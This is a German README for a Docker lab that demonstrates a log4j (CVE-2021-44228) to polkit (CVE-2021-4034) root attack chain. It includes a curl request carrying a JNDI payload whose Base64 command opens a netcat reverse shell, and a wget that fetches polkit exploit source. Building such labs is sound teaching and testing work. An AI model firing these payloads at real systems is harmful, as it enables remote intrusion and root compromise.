
Eine verwundbare Umgebung, die eine Angriffskette von log4j CVE-2021-44228 mit Privilegieneskalation zu Root mithilfe des polkit-Exploits CVE-2021-4034 demonstriert.
Verwundbare Instanz für den log4j Apache-Exploit und Privilege Escalation mittels polkit
Die verwundbare Instanz wird nach Abschluss der folgenden Schritte ausgeführt und lauscht auf Verbindungen auf Port 80 (für die Host-Maschine freigegeben). Der verwundbare Teil für den log4j-Exploit ist der X-Api-Version-Header, der an den Server gesendet wird.
Docker: log4j-polkit-vulnerable-server
Schritte zum Abrufen und Ausführen des verwundbaren Docker-Images:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
Schritte zum manuellen Erstellen einer verwundbaren Instanz für log4j + polkit:
Hinweis: Die Dockerfiles erfordern bestimmte Versionen der verwundbaren Anwendungen, die in den Ubuntu-Repositories vorhanden sein müssen. Wenn diese zu einem beliebigen Zeitpunkt aktualisiert und/oder entfernt werden, schlägt der Build des Docker-Images fehl. Um dies zu lösen, wird ein Image auf dem Docker Hub hochgeladen und hier verlinkt.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
Dies simuliert die Maschine des Angreifers, in diesem Fall im selben Netzwerk vorhanden (aufgrund der einfachen Kommunikation zwischen Docker-Containern), aber der Exploit funktioniert unabhängig davon, wo sich dieser Angriffsserver befindet (einzige Bedingung ist, dass er vom Opfer erreichbar ist). Der bösartige JNDI-Server wird hier gehostet und erstellt eine bösartige Klasse, um beliebige Befehle auf der Maschine des Opfers auszuführen.
Schritte zum Erstellen einer simulierten Angreifer-Maschine:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # im Docker-Container
Befehle aus dem PoC-Video
Hinweis: Die IP-Adresse des attackserver kann variieren
# Log4j-Exploit
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Polkit-Exploit
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c